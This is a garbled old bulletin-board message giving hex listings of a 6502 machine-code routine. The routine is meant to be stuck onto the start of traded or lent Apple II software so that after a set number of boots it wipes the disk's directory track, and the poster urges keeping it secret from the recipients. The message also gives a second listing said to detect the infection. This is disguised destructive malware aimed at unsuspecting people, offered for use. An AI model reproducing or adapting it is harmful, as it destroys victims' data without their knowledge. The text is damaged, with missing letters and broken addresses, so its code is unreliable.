
MSG LEFT BY: ALUMINUM GERBIL
DATE POSTED: 

   Here is a wonderful program which will limit the number of times
aather program can be booted.  It could be useful when you let
aantrustworthy person borrow some software or for trading your
pped wares with someone who is unworthy to posess such wonders.
  he program is entirely relocatable so type it in wherever you
ll.  Stick it onto the start of a program so that it is executed
wwever the program is booted and that program's days are numbered.
  he code is as thus:
00 - A9 11 8D EC B7 A9 00 8D ED B7 8D F3 B7 8D EB B7
00- A9 BB 8D F0 B7 A9 B3 8D F1 B7 A9 01 8D F4 B7 A9
00 - B7 A0 E8 20 B5 B7 AD BF B3 D0 05 A9 18 8D BF B3
00 - CE BF B3 F0 0F A9 02 8D F4 B7 A9 B7 A0 E8 20 B5
00 - B7 4C xx yy AE E9 B7 BD 89 C0 BD 8F C0 38 A9 00
00 - BD 8D C0 1D 8C C0 B0 F6
 
hytes xx and yy are the low order and high order bytes of the
mmn programs cold start entry point.  These will vary depending on
ww program you are interfacing this routine to.  The byte at
lltion $2C ( a $18 here ) is the number of times to allow the
ppram to boot before zeroing the directory track.  Change this to
aavalue BELOW $80!  If it is above $80 then the program will wipe
oothe disk on the first boot.  Not a good way to build someone's
ttt up.  
  yway, use this program wisely, and don't tell people you've got
iir they may not want to trade programs with you again.
 
Aompanying this program is a utility to test your own disks
ff such an infection.  Behold - the code:
00 - 4C 25 08 68 85 00 68 85 01 D0 09 A0 00 B1 00 F0
0 - 0B 20 ED FD E6 00 D0 F3 E6 01 D0 EF A5 01 48 A5
00 - 00 48 60 00 00 20 58 FC 20 03 08 D9 CF CE A0 D7
00 - CF CE C4 C5 D2 C6 D5 CC A0 D4 C9 CD C5 A0 C2 CF
00 - CD C2 A0 D5 D4 C9 CC C9 D4 D9 8D 8D 8D C9 CE D3
00 - C5 D2 D4 A0 C4 C9 D3 CB A0 C1 CE C4 A0 D0 D2 C5
00 - D3 D3 A0 BC D2 C5 D4 D5 D2 CE BE A0 00 20 0C FD
00 - C9 8D D0 F9 20 03 08 8D 8D 8D C2 CF CF D4 D3 A0
00 - D2 C5 CD C1 C9 CE C9 CE C7 A0 AD AD BE A0 00 A9
00 - 11 8D EC B7 A9 00 8D ED B7 8D F3 B7 8D EB B7 A9
00 - BB 8D F0 B7 A9 B3 8D F1 B7 A9 01 8D F4 B7 A9 B7
00 - A0 E8 20 B5 B7 90 2C 20 03 08 8D 8D C4 C9 D3 CB
00- A0 C5 D2 D2 CF D2 A1 8D 8D D0 D2 C5 D3 D3 A0 BC
00 - D2 C5 D4 D5 D2 CE BE A0 00 20 0C FD C9 8D D0 F8
00 - 4C 25 08 AE BF B3 CA 8A 20 DA FD 10 11 20 03 08
00 - A0 A8 D5 CE C9 CE C6 C5 C3 C4 C5 C4 A9 00 20 03
00 - 08 8D 8D 8D C3 C8 C5 C3 CB A0 C1 CE CF D4 C8 C5
00 - D2 A0 C4 C9 D3 CB BF A0 A8 D9 AF CE A9 A0 00 20
00 D0 F2 20 F0 FD
00 - 9D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 
W  I hope I didn't make any mistakes typing that in.  Anyway,
